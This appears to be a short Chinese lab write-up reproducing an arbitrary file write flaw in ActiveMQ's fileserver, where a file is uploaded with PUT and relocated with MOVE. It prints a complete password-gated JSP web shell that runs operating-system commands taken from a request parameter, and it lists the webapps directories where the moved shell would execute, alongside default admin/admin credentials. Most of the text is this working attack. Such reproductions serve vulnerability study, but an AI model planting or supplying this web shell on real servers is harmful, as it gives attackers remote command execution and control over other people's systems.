#漏洞原理

fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要PUT写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

#复现步骤

1
docker ps //查看端口
  • 页面登陆ip:8800端口
  • 登陆账号 admin/admin
  • 进入fileserver页面 抓包 shell脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <%
    if("023".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("</pre>");
    }
    %>
    upload successful
  • shell成功上传
    upload successful
    移动文件到可以解析jsp文件的路径:
    1
    2
    1./opt/activemq/webapps/api
    2./opt/activemq/webapps/admin
    upload successful
  • 访问webshell
    upload successful
    upload successful